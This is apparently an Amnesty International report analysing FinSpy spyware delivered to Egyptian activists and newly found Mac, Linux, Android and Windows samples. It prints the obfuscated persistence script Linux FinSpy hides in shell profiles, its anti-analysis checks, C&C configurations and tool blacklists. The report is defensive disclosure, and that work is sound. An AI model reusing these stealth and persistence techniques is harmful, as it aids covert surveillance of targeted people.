German-made FinSpy spyware found in Egypt, and Mac and Linux versions revealed

amnesty.org/en/latest/research/2020/09/german-made-finspy-spyware-found-in-egypt-and-mac-and-linux-versions-revealed/

September 25, 2020

September 25, 2020

Summary:

- FinSpy is a commercial spyware suite produced by the Munich-based company FinFisher Gmbh. Since 2011 researchers have documented numerous cases of targeting of Human Rights Defenders (HRDs) – including activists, journalists, and dissidents with the use of FinSpy in many countries, including Bahrain, Ethiopia, UAE, and more. Because of this, Amnesty International's Security Lab tracks FinSpy usage and development as part of our continuous monitoring of digital threats to Human Rights Defenders.
- Amnesty International published a report in March 2019 describing phishing attacks targeting Egyptian human rights defenders and media and civil society organizations staff carried out by an attacker group known as "NilePhish". While continuing research into this group's activity, we discovered it has distributed samples of FinSpy for Microsoft Windows through a fake Adobe Flash Player download website. Amnesty International has not documented human rights violations by NilePhish directly linked to FinFisher products.
- Through additional technical investigations into this most recent variant, Amnesty's Security Lab also discovered, exposed online by an unknown actor, new samples of FinSpy for Windows, Android, and previously undisclosed versions for Linux and MacOS computers.
- This report provides technical information on these recent FinSpy samples in order to aid the cybersecurity research community in further investigations, enable cybersecurity vendors implement protection mechanisms against these newly discovered variants, and to raise awareness among HRDs of evolving digital attack techniques.

Introduction

FinSpy is a full-fledged surveillance software suite, capable of intercepting communications, accessing private data, and recording audio and video, from the computer or mobile devices it is silently installed on. FinSpy is produced by Munich-based company FinFisher Gmbh and sold to law enforcement and government agencies around the world. According to media reports, when Egyptian protesters broke into the offices of the now dissolved State Security Investigations Service, an intelligence body responsible for investigating security threats and notorious for committing grave human rights violations during Hosni Mubarak's decades' long rule, in 2011, they discovered contracts for the sale of FinSpy to Egyptian authorities. Since then, research groups such as Citizen Lab, at the University of Toronto, and Privacy International have discovered FinSpy being used to target HRDs and civil society in many countries, including Bahrain, Turkey and Ethiopia. Because of this, Amnesty International's Security Lab tracks FinSpy usage and development as part of our continuous monitoring of digital threats to HRDs.

In September 2019, Amnesty International discovered samples of FinFisher's spyware distributed by malicious infrastructure tied to the attacker group commonly known as NilePhish. likely to be state sponsored. These attacks took place amid an unprecedented crackdown on independent civil society and any critical voices. Over the years, numerous research reports, including by Amnesty International, detailed NilePhish's campaigns of targeting of Egyptian civil society organizations. Further technical investigation by Amnesty's Security Lab led to the discovery of additional previously unknown samples for Linux and Mac OS computers, provided with extensive interception capabilities.

With this report, Amnesty's Security Lab shares new insights into the capabilities of the NilePhish attacker group, as well as provides detailed analysis of newly discovered variants of FinSpy in order to enable cybersecurity researchers to further investigate and develop protection mechanisms. In addition, we hope to raise awareness among HRDs on the evolution of digital attack techniques and help address common misconceptions that Linux and Mac computers are safer against spyware attacks.

NilePhish Fake Flash Player Update deliver FinFisher's FinSpy

In March 2019 Amnesty International's Security Lab warned Egyptian civil society organizations of a widespread campaign of phishing attacks targeting human rights defenders, conducted by the so-called NilePhish attacker group. Following the publication, we continued monitoring the malicious infrastructure operated by this group to identify any new attack campaigns.

By monitoring the group's tools, techniques and attack infrastructure, in September 2019, Amnesty's Security Lab identified the malicious website **flash.browserupdate[.]download** connected to NilePhish. The website pretended to be a warning by Adobe Flash Player recommending installing an update. Clicking anywhere on the page would download a recent version of Flash Player backdoored with FinSpy.

flash.browserupdate[.]download as displayed in September 2019

When we analyzed this Flash Player installer, we found it to be a FinSpy dropper (with hash f960144126748b971386731d35e41288336ad72a9da0c6b942287f397d57c600), designed to retrieve the final payload from the server **http://172.241.27[.]171/support/personal.asp**. This payload would then be loaded into memory and executed. The server was offline at the time of analysis and we therefore did not manage to retrieve any additional payload.

The version of Flash Player (32.0.0.269) used to bundle the FinSpy downloader was released by Adobe in September 2019. The file had a creation date of 20th September 2019. This suggests that backdoored binary was newly created around the time period in September 2019 when it was first uploaded to browserupdate[.]download.

It is worth noting that in 2017, ESET, a Slovak internet security company reported that FinFisher spyware was being delivered using network injection attacks in two (unnamed) countries. The research group Citizen Lab, located at the University of Toronto, later discovered evidence of equipment used for similar network injection attacks in Egypt, suggesting it might have also been used for the distribution of FinFisher's FinSpy. We cannot exclude that targets of this campaign were redirected to the browserupdate[.]download page through network injection, as similar backdoored software have been used in network injection attacks in the past.

Connections with NilePhish

The operators of this fake Flash Player download page created several other droppers which would download payloads from browserupdate[.]com. These included malicious Word documents containing macros, and a .NET program named *clean.downloader.exe* (with hash 14658327efaa15275fb8718956ee97ebcad5bc80312a4f3182a3b10cd3dcf257), uploaded to the malware scanning service VirusTotal on 8th October 2019. These additional droppers appeared to be under development and used for testing purposes: each downloaded a legitimate version of the tool Putty from https://flash.browserupdate[.]download/putty.exe.

Revealingly, the .NET dropper included a PDB debug path from the developer's computer:
C:\Users\shenno\source\repos\clean.downloader\clean.downloader\obj\Release\clean.downloader.pdb.

The username on the computer where this dropper was developed is "**shenno**". This name we had previously found used by attackers behind the NilePhish campaign we detailed in our March 2019 report. The Security Lab continued to monitor this group's campaigns following our publication.

In February 2020, approximately 6 months after the initial FinSpy discovery, a new subdomain "files.browserupdate[.]download" was created which acted as reverse-proxy to a Cobalt Strike server hosted at 185.125.230.203 (more on this later). This IP is registered to a small Russian hosting company named Offshore Servers. Since 2018 we have observed NilePhish hosting a large part of their phishing infrastructure with Offshore Servers.

Link between the FinSpy sample and NilePhish

In October 2019, cybersecurity firm CheckPoint released a follow-up report based on Amnesty International's research which independently confirmed links between NilePhish, the Offshore Servers infrastructure and the operator named "shenno". CheckPoint identified an Egyptian individual who they linked to NilePhish and the "shenno" username and first revealed it to the public. At the time of our discovery of the fake Flash Player FinSpy dropper, "shenno" had not been disclosed yet.

The combination of nickname reuse, the use of the same hosting provider Offshore Servers, and the registration of additional NilePhish domains with the same registrar in September 2019 ties this activity to NilePhish. These additional NilePhish domains include loglive.co (registered September 11th), webmaillive.co (registered September 15th), and onlineaccount.live (registered October 2nd, 2019). Amnesty International has not confirmed how NilePhish obtained FinSpy software.

NilePhish testing Cobalt Strike

In February 2020, a new subdomain **files.browserupdate[.]download** was created pointing to server at 5.135.174[.]213, serviced by French hosting company OVH. This server was hosting an HTTP server with a valid TLS certificate on port 443. Using Censys we found that the server hosted on Offshore Servers at 185.125.230[.]203 was also running a web server with the same TLS cert. Timing measurements showed that the OVH server was a reverse proxy for 185.125.230[.]203.

Probing any URL which matched the U*RI* checksum algorithm used by Cobalt Strike and Metasploit, would indeed serve Cobalt Strike payloads.

Cobalt Strike is a commercial penetration testing suite, that is sold for legitimate security audits of organizations. Since 2016, Cobalt Strike has been identified as being abused by many attack groups such as the cyber-criminal Cobalt Group, and state-sponsored groups targeting governments and individuals in Hong Kong and India. Cobalt Strike samples have been largely analysed publicly by several cyber-security companies.

An obfuscated VBS script located at *http://files.browserupdate[.]download/a* downloads a Cobalt Strike payload from the same server on port 443 and launches it.

Here is the extracted configuration of the Cobalt Strike sample:

```
dns : False
ssl : True
port : 443
.sleeptime : 5000
.http-get.server.output :
.jitter : 0
.maxdns : 255
publickey :
30819f300d06092a864886f70d010101050003818d0030818902818100f2b83af090d1a0c0a59e62ede880813384eccb6bff849d03d201a92f653a0
.http-get.uri : files.browserupdate.download,/s/ref=nb_sb_noss_1/167-3294888-0262949/field-keywords=books
.user-agent : Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
.http-post.uri : /N4215/adj/amzn.us.sr.aps
.http-get.client :

Accept: */*
Host: www.amazon.comsession-token=
                        skin=noskin;,csm-hit=s-24KU11BB82RZSYGJ3BDK|1419899012996Cookie
.http-post.client :

Accept: */*
Content-Type: text/xml
X-Requested-With: XMLHttpRequest
Host: www.amazon.com
sz=160×600    oe=oe=ISO-8859-1;sn    s=3717    “dc_ref=http%3A%2F%2Fwww.amazon.com
.spawnto : fbf34aa48d6080bf8ef3eaff8ecf9a31
.post-ex.spawnto_x86 : %windir%\syswow64\rundll32.exe
.post-ex.spawnto_x64 : %windir%\sysnative\rundll32.exe
unknown :
cryptoscheme : 0
.dns_idle : 0
.dns_sleep  : 0
.http-get.verb : GET
.http-post.verb : POST
shouldChunkPosts : 0
watermark : 1
.stage.cleanup : 0
CFGCaution : 0
```

We provide signatures to detect Cobalt Strike and scripts to decode the payload and extract its configuration in our Github repository.

FinSpy for Linux and Mac OS discovered

In the fall of 2019, while investigating recent versions of FinSpy following the discovery of its use by NilePhish, we identified additional FinSpy samples through the malware research platform VirusTotal hosted at a server located at the IP address **158.69.105[.]207**. We believe this server has no relation to NilePhish and belongs to a different FinSpy operator.

Screenshot of the server webpage in October 2019

This server hosted several samples linked from a publicly exposed webpage:

- *“Jabuka.app”*: **FinSpy for Mac OS, publicly disclosed here for the first time**.
- *“PDF”*: **FinSpy for Linux, publicly disclosed here for the first time**.
- *“wrar571.exe”*: FinSpy downloader for Windows.
- *“WIFI.apk”*: FinSpy for Android.

All these FinSpy samples were generated between April 2019 and November 2019.

FinSpy for Mac OS

The application bundle "*Jakuba.app"* is a copy of FinSpy for Mac OS, and it contains the following files:

- Jabuka.app/Contents/Resources/data (with hash 37e749b79f4a24ead2868dffdb22c5034053615fed1166fdea05b4ca43b65c83) is an encrypted payload.
- Jabuka.app/Contents/Info.plist (with hash b5304d70dfe832c5a830762f8abc5bc9c4c6431f8ecfe80a6ae37b9d4cb430fd) is a PList used for persistence.
- Jabuka.app/Contents/MacOS/installer (with hash 80d6e71c54fb3d4a904637e4d56e108a8255036cbb4760493b142889e47b951f) is the launcher.

Infection Chain

The FinSpy sample for MacOS uses a quite complex chain to infect the system, and the developers took measures to complicate its analysis. All the binaries are obfuscated with the open source LLVM-obfuscator developed by a research team in 2013.

The first stage is doing some checks to detect if the spyware is running in a Virtual Machine:

> system_profiler SPUSBDataType | egrep -i "Manufacturer: (parallels|vmware|virtualbox)"

If it is not, it then decrypts, by XOR'ing with the string "NSString", a Zip archive at the path */tmp/arch.zip* and unpacks it to */tmp/org.logind.ctp.archive*. This archive contains the installer, the main cyload, but also binaries for privilege escalation:

- *helper*: exploits a bug in Mac OS X fixed in 2013 or 2014.
- *helper2*: Python exploit for CVE-2015-5889.

This first stage uses the exploits to get root access. If none of them work, it will ask the user to grant root permissions to launch the next stage installer.

The installer (*/tmp/org.logind.ctp.archive/installer*) oversees installing the spyware in the system by:

1. Copying all the plugins and configuration files to /Library/Frameworks/Storage.framework.
2. Copying the launcher to /private/etc/logind.
3. Installing persistence by creating a logind.pslist file in /System/Library/LaunchAgents/ (T1543.001).

A modular framework

FinSpy for Mac OS, and similarly its Linux counterpart, follow a modular design. The launcher *logind* only instantiates the core component *dataPkg*, which oversees communications with the Command and Control server (C&C), and decrypting/launching modules when needed. The modules are encrypted with the AES algorithm and compressed with the aplib compression library. The AES key is stored in the binary, but the IV is stored in each configuration file along with a MD5 hash of the final decompressed file.

Here is the list of modules available in this version of the spyware, although additional references in the code suggest additional modules might exist but were not available in this distribution:

File name	Module Name	Description
02	FSMain	List files.
04	CL	Executes shell commands.
05	Sch	Scheduling.
10	A	Audio recording.
12	IO	Keylogger.
16	FSCF	Recording of modified files using File System Events API.
17	FSAF	Recording of accessed files.

19	FSDF	Recording of deleted files.
22	MCMain	Keylogger for virtual keyboards.
23	CW, LSC, RSC	Camera recording
24	SM	Screen recording.
27	E	Email stealer: it installs a malicious add-on to Apple Mail and Thunderbird which sends emails to a pipe for FinSpy to collect.
28	W	Collect information about Wi-Fi networks.
29	RM	List files on remote devices.
7f		Handles cryptography for C&C communications.

Command & Control Communications

The spyware communicates with the Command & Control (C&C) server using HTTP POST requests. The data sent to the server is encrypted using functions provided by the 7F module, compressed using a custom compressor and base64 encoded. All requests are made with a Content-Type chosen randomly from following list:

- application/pdf
- application/zip
- application/gzip
- image/gif
- image/jpeg
- image/png
- image/tiff
- text/html
- text/plain

Configuration

Each module is provided with its own configuration file. These files are encoded using a Type Length Value format in a different order (Size, Type, Value). The type serves both as an identifier and a field type, the lowest nibble representing the type of data. Most types identified fit the TLVs listed in the FinSpy Android analysis published by the Chaos Computer Club in 2019.

Here is the extracted configuration of the core module:


```
{
  “TlvTypeTrojanID”: “Jabuka”,

  “0x80ab40”: 0,
  “0x80aa40”: 0,
  “TlvTypeEncryption”: “GZP&OYq0S[AJ\\D\u000e\\*^\”[email protected]]}C”,
  “TlvTypeConfigTargetID”: “Jabuka”,
  “TlvTypeConfigAutoRemovalIfNoProxy”: 168,
  “TlvTypeBlackWhiteListingMode”: 0,
  “TlvTypeTrojanMaxInfections”: 9,
  “TlvTypeTargetUID”: 0,
  “TlvTypeBlackListEntry”: [
   {
    “category”: “Monitoring”,
    “list”: [
     “taskmgr”,
     “Windows Task Manager”,
     “AccessEnum”,
     “AccessEnum”,
     “ADExplorer”,
     “Active Directory Explorer”,
     “ADInsight”,
     “Insight for Active Directory”,
     “Autologon”,
```

```
      “Autologon”,
      “autoruns”,
      “Autoruns”,
      “Bginfo”,
      “BGInfo”,
      “Cacheset”,
      “Cacheset”,
      “Dbgview”,
      “Debug View”,
      “Desktops”,
      “Desktops”,
      “disk2vhd”,
      “Disk2vhd”,
      “Diskmon”,
      “Disk Monitor”,
      “DiskView”,
      “LoadOrd”,
      “LoadOrder”,
      “pagedfrg”,
      “System File Defragmenter”,
      “procexp”,
      “Process Explorer”,
      “Procmon”,
      “Process Monitor”,
      “RootkitRevealer”,
      “ShareEnum”,
      “ShellRunas”,
      “Tcpview”,
      “TCPView”,
      “vmmap”,
      “VMMap”,
      “Winobj”,
      “ZoomIt”
    ]
  },
  {
    “category”: “Sniffer”,
    “list”: [
      “wireshark”,
      “The Wireshark Network Analyzer”,
      “TCPDump”,
      “Tcpview”,
      “NetstatViewer”,
      “Netstat Viewer”,
      “NetPryer”,
      “Ultra Network Sniffer”
    ]
  },
  {
    “category”: “Debugger”,
    “list”: [
      “OllyDbg”,
      “idag”,
      “The interactive disassembler”,
      “WinDbg”
    ]
  }
],
“TlvTypeWhiteListEntry”: [
  {
    “category”: “Browser”,
    “list”: [
      “firefox”,
      “Mozilla Firefox”,
      “iexplore”,
      “Windows Internet Explorer”,
      “opera”,
      “chrome”
    ]
  },
  {
    “category”: “Messenger”,
    “list”: [
      “icq”,
      “ICQ”,
      “aim6”,
      “AIM”,
      “Skype”,
```

```
        "Ypager",
        "Yahoo Messenger",
        "pidgin",
        "Buddy List",
        "trillian",
        "Trillian",
        "googletalk",
        "google Talk"
      ]
    },
    {
      "category": "E – Mail",
      "list": [
        "OUTLOOK",
        "Microsoft Outlook",
        "msimn",
        "Outlook Express",
        "thunderbird",
        "Mozilla Thunderbird",
        "WinMail",
        "Windows Mail",
        "thebat",
        "The Bat!"
      ]
    },
    {
      "category": "FileSharing",
      "list": [
        "bittorrent",
        "Bit Torrent",
        "uTorrent",
        "µTorrent",
        "emule",
        "eMule",
        "edonkey2000",
        "eDonkey",
        "kazaa",
        "Kazaa",
        "FrostWire",
        "LimeWire"
      ]
    },
    {
      "category": "VoIP",
      "list": [
        "CGStarter",
        "X-Lite",
        "Gizmo5",
        "Mercuro",
        "Mercuro IMS Client",
        "ts3client_win32",
        "TeamSpeak 3",
        "Zfone",
        "Zfone Control Panel"
      ]
    }
  ],
  "TlvTypeConfigTargetPort": 443,
  "TlvTypeRequestID": 0,
  "0x804140": 2048,
  "TlvTypeVersion": 0,
  "TlvTypeUserID": 1000,
  "TlvTypeConfigAutoRemovalDateTime": "0000000000000000",
  "TlvTypeTrojanUID": 232069579,
  "TlvTypeConfigTargetProxy": [
    "185.25.50.[REDACTED]",
    "103.11.67.[REDACTED]"
  ],
  "TlvTypeConfigFileTransferSpeed": 1024,
  "0x807c30": 0,
  "TlvTypeConfigTargetHeartbeatInterval": 60000,
  "TlvTypeConfigActiveHiding": 0
}
```


You can find code to extract configuration from FinSpy samples on our Github repository.

Timeline

The information from the PList file contains some metadata indicating that the development could have started on OS X 10.9, which was released in October 2013. But the spyware was very likely packaged for use in November 2019 as most of the files in the Zip archive were last modified in November 2019. Here is an extract of the archive information:

```
Date Time Attr Size Compressed Name
------------------- ---- ------------ ------------ ------------------------
2019-11-20 12:48:29 D.... 0 0 org.logind.ctp.archive
2019-11-20 12:48:29 ....A 30196 10420 org.logind.ctp.archive/helper
2019-11-20 12:48:29 ....A 975 540 org.logind.ctp.archive/helper2
2019-11-20 12:48:29 ....A 63164 21452 org.logind.ctp.archive/installer
2019-11-20 12:48:29 ....A 34264 12137 org.logind.ctp.archive/logind
2019-11-20 12:48:29 ....A 431 267 org.logind.ctp.archive/logind.plist
2019-11-20 12:48:29 D.... 0 0 org.logind.ctp.archive/storage.framework
2019-11-20 12:48:29 D.... 0 0 org.logind.ctp.archive/storage.framework/Contents
2019-04-25 15:35:02 ....A 1286 477 org.logind.ctp.archive/storage.framework/Contents/Info.plist
2019-04-25 15:35:02 ....A 8 8 org.logind.ctp.archive/storage.framework/Contents/PkgInfo
2019-11-20 12:48:29 D.... 0 0 org.logind.ctp.archive/storage.framework/Contents/MacOS
...
```

Related sample

An additional FinSpy Mac OS sample with name *"caglayan-macos.dmg"* was found on Virus Total: 4f3003dd2ed8dcb68133f95c14e28b168bd0f52e5ae9842f528d3f7866495cea. This sample was created in February 2018 according to the zip files timestamp.

FinSpy for Linux

The FinSpy Linux was exposed on the server 158.69.105[.]207 in November 2019 as a file named "*PDF"* with hash 1e9162cd0941557304a6a097dfaadf59f90bc8bbaa9879afe67b5ce0d1514be8. The Linux payload is very similar to the Mac OS version described above, which suggests a potential shared codebase. However, the launchers and the infection chain are adapted to work on Linux systems.

Infection Chain

The "*PDF"* file obtained from the server is a short script containing encoded binaries for Linux 32bit and 64bit. It extracts the binary for the relevant architecture in */tmp/udev2* and executes it. Like its Mac OS counterpart, FinSpy for Linux is also obfuscated using LLVM-Obfuscator.

The *udev2* installer then checks that the system is not a virtual machine, extracts files from itself and stores them in a hidden folder in the user's home, such as at *~/.cache/.cfg* or *~/.local/.apps*. Among the files extracted, are a first stage payload called *crond* and encrypted modules named with a hexadecimal number (such as 02) with their configuration in *.dat* extension, such as *02C.dat*. In order to maintain persistence, an obfuscated script is added to the following files:

- *~/.profile*
- *~/.profile1*
- *~/.bash_profile*
- *~/.bash_profile1*
- *~/.kde/Autostart/udev2.sh*
- *~/.kde4/Autostart/udev2.sh*
- *~/.kde/Autostart*
- *~/.kde4/Autostart*

The script is disguised as dealing with system fonts, but it executes FinSpy's first stage:

```
if [ ! -n “$CS_FONT” ]; then
  # Load fonts by id
  CS_FONT_RID=”2F686F6D652F757365722F2E63616368652F2E636667″
  CS_FONT_ID=”2E2F63726F6E64″
  CS_FONT_COL=”6364″
  CS_FONT_COLF=`echo ${CS_FONT_COL} |sed ‘s/../& /g’ |sed ‘s/ / p /g’ |awk ‘{print “16i “$0}’|dc 2>/dev/null|awk ‘{printf(“%c”,$0)}’`
  CS_FONT_SID=`echo ${CS_FONT_RID} |sed ‘s/../& /g’ |sed ‘s/ / p /g’ |awk ‘{print “16i “$0}’|dc 2>/dev/null|awk ‘{printf(“%c”,$0)}’`
  CS_FONT_LOAD=`echo ${CS_FONT_ID} |sed ‘s/../& /g’ |sed ‘s/ / p /g’ |awk ‘{print “16i “$0}’|dc 2>/dev/null|awk ‘{printf(“%c”,$0)}’`
  if [ ! -n “$CS_FONT_COLF” ]; then
    CS_FONT_COLF=$(for i in `echo ${CS_FONT_COL} |sed ‘s/../& /g’`; do echo “000000 $i” | xxd -r; done)
    CS_FONT_SID=$(for i in `echo ${CS_FONT_RID} |sed ‘s/../& /g’`;  do echo “000000 $i” | xxd -r; done)
    CS_FONT_LOAD=$(for i in `echo ${CS_FONT_ID} |sed ‘s/../& /g’`;  do echo “000000 $i” | xxd -r; done)
  fi
  ${CS_FONT_COLF} ${CS_FONT_SID} && ${CS_FONT_LOAD} > /dev/null 2>&1 && ${CS_FONT_COLF} – > /dev/null 2>&1
   unset CS_FONT_ID
   unset CS_FONT_COLF
   unset CS_FONT_SID
   unset CS_FONT_LOAD
fi
```

By converting the hexadecimal values embedded, the script eventually builds the following command and executes the FinSpy launcher:

cd /home/user/.cache/.cfg && ./crond > /dev/null 2>&1 && cd – > /dev/null 2>&1

The installer finally launches the crond first stage binary copied in the installation folder. This crond binary only performs several checks (mutex in /tmp/.X11.lock, check if the process is debugged using ptrace), then decrypts and decodes the core module 80.so to run it in memory.

Modules

The modules available in the Linux sample are almost identical to the MacOS sample. The binaries are stored encrypted and obfuscated too, with a slightly different format, the AES Initialization vector being stored within the core module binary instead of in the encrypted module files.

The modules available are exactly the list of modules in the MacOS sample with the addition of the module 14, which is responsible to extract data and record conversations from Skype.

Configuration

The configuration of the different modules is stored in *.dat* files with the same encoding scheme as the MacOS sample. Here is the decoded configuration for the core module:


```
{
  “TlvTypeTrojanID”: “PDF”,
  “0x80ab40”: 2774182400,
  “0x80aa40”: 0,
  “TlvTypeEncryption”: “B-P&=YwCS[DJ\\3\u000e)^^’@@\b3”,
  “TlvTypeConfigTargetID”: “PDF”,
  “TlvTypeConfigAutoRemovalIfNoProxy”: 168,
  “TlvTypeTrojanMaxInfections”: 9,
  “TlvTypeTargetUID”: 0,
  “TlvTypeBlackListEntry”: [
    {
      “category”: “Monitoring”,
      “list”: [
        “taskmgr”,
        “Windows Task Manager”,
        “AccessEnum”,
        “AccessEnum”,
        “ADExplorer”,
        “Active Directory Explorer”,
        “ADInsight”,
        “Insight for Active Directory”,
        “Autologon”,
        “Autologon”,
        “autoruns”,
        “Autoruns”,
        “Bginfo”,
        “BGInfo”,
        “Cacheset”,
        “Cacheset”,
        “Dbgview”,
        “Debug View”,
        “Desktops”,
        “Desktops”,
```

```
      “disk2vhd”,
      “Disk2vhd”,
      “Diskmon”,
      “Disk Monitor”,
      “DiskView”,
      “LoadOrd”,
      “LoadOrder”,
      “pagedfrg”,
      “System File Defragmenter”,
      “procexp”,
      “Process Explorer”,
      “Procmon”,
      “Process Monitor”,
      “RootkitRevealer”,
      “ShareEnum”,
      “ShellRunas”,
      “Tcpview”,
      “TCPView”,
      “vmmap”,
      “VMMap”,
      “Winobj”,
      “ZoomIt”
    ]
   },
   {
    “category”: “Sniffer”,
    “list”: [
      “wireshark”,
      “The Wireshark Network Analyzer”,
      “TCPDump”,
      “Tcpview”,
      “NetstatViewer”,
      “Netstat Viewer”,
      “NetPryer”,
      “Ultra Network Sniffer”
    ]
   },
   {
    “category”: “Debugger”,
    “list”: [
      “OllyDbg”,
      “idag”,
      “The interactive disassembler”,
      “WinDbg”
    ]
   }
  ],
  “TlvTypeWhiteListEntry”: [
   {
    “category”: “Browser”,
    “list”: [
      “firefox”,
      “Mozilla Firefox”,
      “iexplore”,
      “Windows Internet Explorer”,
      “opera”,
      “chrome”
    ]
   },
   {
    “category”: “Messenger”,
    “list”: [
      “icq”,
      “ICQ”,
      “aim6”,
      “AIM”,
      “Skype”,
      “Ypager”,
      “Yahoo Messenger”,
      “pidgin”,
      “Buddy List”,
      “trillian”,
      “Trillian”,
      “googletalk”,
      “google Talk”
    ]
   },
   {
```

```
      "category": "E – Mail",
      "list": [
        "OUTLOOK",
        "Microsoft Outlook",
        "msimn",
        "Outlook Express",
        "thunderbird",
        "Mozilla Thunderbird",
        "WinMail",
        "Windows Mail",
        "thebat",
        "The Bat!"
      ]
    },
    {
      "category": "FileSharing",
      "list": [
        "bittorrent",
        "Bit Torrent",
        "uTorrent",
        "µTorrent",
        "emule",
        "eMule",
        "edonkey2000",
        "eDonkey",
        "kazaa",
        "Kazaa",
        "FrostWire",
        "LimeWire"
      ]
    },
    {
      "category": "VoIP",
      "list": [
        "CGStarter",
        "X-Lite",
        "Gizmo5",
        "Mercuro",
        "Mercuro IMS Client",
        "ts3client_win32",
        "TeamSpeak 3",
        "Zfone",
        "Zfone Control Panel"
      ]
    }
  ],
  "TlvTypeConfigTargetPort": 443,
  "TlvTypeRequestID": 0,
  "0x804140": 2048,
  "TlvTypeVersion": 0,
  "TlvTypeUserID": 1000,
  "TlvTypeConfigAutoRemovalDateTime": "0000000000000000",
  "TlvTypeTrojanUID": 229643403,
  "TlvTypeConfigTargetProxy": [
    "185.25.50.[REDACTED]",
    "103.11.67.[REDACTED]"
  ],
  "TlvTypeConfigFileTransferSpeed": 1024,
  "0x807c30": 0,
  "TlvTypeConfigTargetHeartbeatInterval": 40000,
  "TlvTypeConfigActiveHiding": 0
}
```


Related Sample

Another Linux Sample was found on VirusTotal during the investigation bd1b8bc046dbf19f8c9bbf9398fdbc47c777e1d9e6d9ff1787ada05ed75c1b12. It was first uploaded on VirusTotal in 2014.

FinSpy for Android

The file "WIFI.apk" identified on 158.69.105.207 (sha256: 854774a198db490a1ae9f06d5da5fe6a1f683bf3d7186e56776516f982d41ad3) is an Android version of the FinSpy spyware.

Obfuscation

The sample employs multiple layers of obfuscation:

- Java method names are obfuscated, with names such as *iliOi11OIOOl01O*.
- Strings are encoded.
- Control flow graph is broken by the heavy use of threads and IPC.
- Actual code is littered with dummy calls.

Strings are obfuscated as XOR'ed byte arrays. The key is provided to the function. This obfuscation technique was not observed in previously publicly analyzed versions of FinSpy for Android.

Local socket address generation

FinSpy for Android uses Unix sockets to communicate between threads. The local socket address is generated by hashing the values of the following system properties:

- product.model
- product.brand
- product.name
- product.device
- product.manufacturer
- build.fingerprint

A utility method meant to encode data and generate local socket address uses the timestamp 1540483477 corresponding to Thu 25 October 2018 16:04:37 UTC.

Configuration

All the previously publicly analyzed samples of FinSpy for Android stored the configuration within the APK file metadata. This sample instead embeds the configuration directly in the Dex file, using the same Type Length Value found in previous Android versions.

Function locating the DEX file path to extract configuration

Following is the extracted configuration for this sample:


```
TlvTypeRequestID : 0
TlvTypeMobileTargetUID : 0
TlvTypeVersion : 0
TlvTypeMobileTargetID : WIFI
TlvTypeMobileTargetHeartbeatInterval : 120
0x849830 : 0
TlvTypeMobileTargetPositioning : '\x82\x87\x86\x81\x83'
0x846b30 : 1
TlvTypeConfigTargetProxy : ['185.25.50.[REDACTED]', '103.11.67.[REDACTED]']
TlvTypeConfigTargetPort : 443
TlvTypeConfigSMSPhoneNumber : [REDACTED]
TlvTypeMobileTrojanID : WIFI
TlvTypeMobileTrojanUID : 229643516
TlvTypeUserID : 1000
TlvTypeTrojanMaxInfections : 9
TlvTypeConfigMobileAutoRemovalDateTime : 0
TlvTypeConfigAutoRemovalIfNoProxy : 168
TlvTypeMobileTargetHeartbeatEvents : 173
TlvTypeMobileTargetHeartbeatRestrictions : 208
TlvTypeMobileTargetLocationChangedRange : 0
TlvTypeInstalledModules : {'data':
'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0
'logging': False, 'spycall': False, 'call_interception': False, 'sms': True, 'address_book': True, 'tracking': True, 'phone_logs': True}
TlvTypeMobileTrackingConfigRaw : 'V\x00\x00\x00\xa03E\x00\x0c\x00\x00\[email protected]\x00\xe8\x03\x00\x00\x0c\x00\x00\[email protected]@
0x544090 : '\\\x00\x00\x00\[email protected]\x00\x0c\x00\x00\[email protected]\xfe\x00P\x00\x00\x00\t\x00\x00\x000C\xfe\x00\x01\x0c\x00\x00\[e
0x534090 : 'S\x00\x00\x00\xa0AS\x00\x0c\x00\x00\[email protected]\xfe\x00P\x00\x00\x00\t\x00\x00\x000C\xfe\x00\x01\x0c\x00\x00\[email prote
0x550190 : '\x14\x00\x00\x00\xa0\x02U\x00\x0c\x00\x00\[email protected]\xfe\x00\x11+\x00\x00'
0x562090 : ';\x00\x00\x00\xa0!V\x00\t\x00\x00\x000#V\x00\x01\t\x00\x00\x000%V\x00\x01\t\x00\x00\x000$V\x00\x01\x0c\x00\x00\[email protecte
0x570190 : ' \x00\x00\x00\xa0\x02W\x00\x0c\x00\x00\[email protected]\xfe\x00\x11+\x00\x00\x0c\x00\x00\[email protected]\x03W\x00\x00\x00\x0
TlvTypeEncryption : b"B-P&=YwCS[DJ\\3\x0e)^^'@@\x083″
```


Emergency Reconfiguration

FinSpy can be reconfigured via SMS, through the Java method *org.xmlpush.v3.q.c.a()*. When an SMS corresponding to TlvTypeMobileTargetEmergencyConfig is received, FinSpy reconfigures itself by parsing the received payload. The following attributes can be reconfigured:

- *TlvTypeConfigTargetPort:* port number for the C&C proxy.
- *TlvTypeConfigSMSPhoneNumber:* phone number for SMS based C&C communications.
- *TlvTypeMobileTrojanID:* unknown purpose.
- *TlvTypeMobileTrojanUID:* unknown purpose.
- *TlvTypeUserID:* unknown purpose.
- *TlvTypeTrojanMaxInfections:* unknown purpose.
- *TlvTypeConfigMobileAutoRemovalDateTime:* implant self-destruction time.
- *TlvTypeConfigAutoRemovalIfNoProxy:* implant self-destruct if C&C proxy is unavailable
- *TlvTypeMobileTargetHeartbeatRestrictions:* conditions to avoid callbacks
- *TlvTypeMobileTargetHeartbeatEvents:* events to trigger callbacks to the C&C
- *TlvTypeMobileTargetLocationChangedRange:* trigger updates based on location changes
- *TlvTypeInstalledModules:* list of implant features and their configuration (SMS log, call log, etc.)
- and other unknown parameters

New TLV types

FinSpy stores its configuration and communicates with the C&C server in a specific format called TLV devised by FinFisher developers in early versions. It stores first the size of the data, then an identifier for the type of data and then the data. This format was originally identified in a 2012 report by TrustWave. In this latest version new TLV values are introduced, including:

Timeline

The certificate used to sign this application (sha256: 7C6E4F2E84EBAA8D25040F63D840E14F6F822125) was issued in May 2017, but the APK file was created on the 23rd of October 2019 according to the timestamp of the APK.

Backdoored WinRAR: FinSpy for Windows

The last sample identified (bb8c0e477512adab1db26eb77fe10dadbc5dcbf8e94569061c7199ca4626a420 wrar571.exe) is a backdoored version of the WinRAR software.

The file is a Self-extracting WinRAR archive, the code of the function *__security_check_cookie* was patched to redirect to an obfuscated shellcode. The shellcode is doing an HTTP POST request to get a final payload from the IP 207.244.95[.]223:

```
